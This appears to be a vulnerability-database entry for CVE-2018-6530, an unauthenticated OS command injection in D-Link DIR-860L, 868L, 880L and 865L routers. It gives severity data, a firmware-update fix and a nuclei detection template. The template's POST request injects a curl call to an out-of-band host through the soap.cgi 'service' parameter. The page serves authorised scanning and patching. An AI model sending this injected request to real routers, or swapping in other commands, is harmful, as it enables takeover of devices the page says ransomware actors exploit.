D-Link - Unauthenticated Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-09-08; known to be used by ransomware.

criticalseverity

9.8CVSS score

96.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

OS command injection vulnerability in soap.cgi (soapcgi_main in cgibin) in D-Link DIR-880L DIR-880L_REVA_FIRMWARE_PATCH_1.08B04 and previous versions, DIR-868L DIR868LA1_FW112b04 and previous versions, DIR-65L DIR-865L_REVA_FIRMWARE_PATCH_1.08.B01 and previous versions, and DIR-860L DIR860LA1_FW110b04 and previous versions allows remote attackers to execute arbitrary OS commands via the service parameter.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.

Fix

Apply the latest firmware update provided by D-Link to mitigate this vulnerability.

How to confirm it

Send: POST /soap.cgi?service=whatever-control;curl {{interactsh-url}};whatever-invalid-shell
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2018-6530 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-6530

info:
  name: D-Link - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    OS command injection vulnerability in soap.cgi (soapcgi_main in cgibin) in D-Link DIR-880L DIR-880L_REVA_FIRMWARE_PATCH_1.08B04 and previous versions, DIR-868L DIR868LA1_FW112b04 and previous versions, DIR-65L DIR-865L_REVA_FIRMWARE_PATCH_1.08.B01 and previous versions, and DIR-860L DIR860LA1_FW110b04 and previous versions allows remote attackers to execute arbitrary OS commands via the service parameter.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6530
    - https://github.com/soh0ro0t/Pwn-Multiple-Dlink-Router-Via-Soap-Proto
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    - ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-860L/REVA/DIR-860L_REVA_FIRMWARE_PATCH_NOTES_1.11B01_EN_WW.pdf
    - ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-868L/REVA/DIR-868L_REVA_FIRMWARE_PATCH_NOTES_1.20B01_EN_WW.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-6530
    cwe-id: CWE-78
    epss-score: 0.96682
    epss-percentile: 0.99884
    cpe: cpe:2.3:o:dlink:dir-860l_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-860l_firmware
  tags: cve,cve2018,d-link,rce,oast,unauth,kev,dlink,vkev,vuln

http:
  - raw:
      - |
        POST /soap.cgi?service=whatever-control;curl {{interactsh-url}};whatever-invalid-shell HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: identity
        SOAPAction: "whatever-serviceType#whatever-action"
        Content-Type: text/xml

        whatever-content

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from